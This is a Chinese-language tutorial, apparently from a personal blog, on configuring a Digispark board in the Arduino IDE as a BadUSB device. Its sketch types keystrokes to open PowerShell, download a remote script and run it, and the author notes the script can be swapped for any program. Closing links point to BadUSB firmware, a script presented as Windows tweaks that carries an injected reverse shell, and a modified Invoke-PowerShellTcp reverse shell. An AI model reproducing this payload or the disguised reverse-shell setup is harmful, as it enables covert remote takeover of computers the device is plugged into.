参考官网教程:(http://digistump.com/wiki/digix/tutorials/software)
当第一次插入这个设备到电脑上的时候,电脑系统会自动进行安装驱动程序,如果安装失败,请自行点击下面的网址进行下载并安装!
下载的驱动文件,解压并执行相应的版本(64位操作系统执行DPinst64.exe,32位执行DPinst.exe)。
下图是驱动安装完成的截图
推荐使用Arduino IDE。到Arduino官方网站进行下载安装
Arduino 设置中文
进入程序界面后,点击 文件 --> 首选项。
将
http://digistump.com/package_digistump_index.json
复制到红色线框标记的地方。
然后在 工具 选择开发板管理器
等待加载完成后(等待时间可能有点长),选择下图红框标注的版本(这里已安装会显示Remove,如果是未安装的会显示Install。下载完成后,即可在工具里看到Digispark (Default - 16.5mhz),编程器选择“USBtinyISP
插上开发板安装好驱动后,这里设备管理器会不断发现它在刷新,可以不用按照网上其他教程,可以插上板子,将程序编译上传。
烧录进去程序后,设备管理器就不会闪了。
贴一个自己测试的程序,通过下载一个powershell脚本,运行此脚本来改桌面的壁纸。(这里的脚本可以修改为想要的程序)
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.println("POWERSHELL -NOP");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.println("$client = new-object System.Net.WebClient");
DigiKeyboard.println("$client.DownloadFile(\'https://raw.githubusercontent.com/HuIsec/person/master/test.ps1\','e:\\test.ps1')");
DigiKeyboard.delay(3000);
DigiKeyboard.println("e:\\test.ps1");
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.println("exit");
}
void loop() {
}
将代码复制到编辑框中,保存一下后,点击上传,即可自动编译后上传。
badusb的烧录代码: http://ruiwencloud.xyz/sub/badusb.ino (可以直接用来烧录Digispark 板子)
power shell 正常的代码: http://ruiwencloud.xyz/sub/badusb.ps1 (这个文件主要是一些Windows的优化脚本,当然也有power shell 反弹代码的注入)
power shell 反弹的代码: http://ruiwencloud.xyz/sub/Invoke-PowerShellTcp.ps1 (这个文件是更改后的版本,将IPAddress 和 Port固定了,可以手动修改,这个代码的用法可以看另一个power shell 脚本)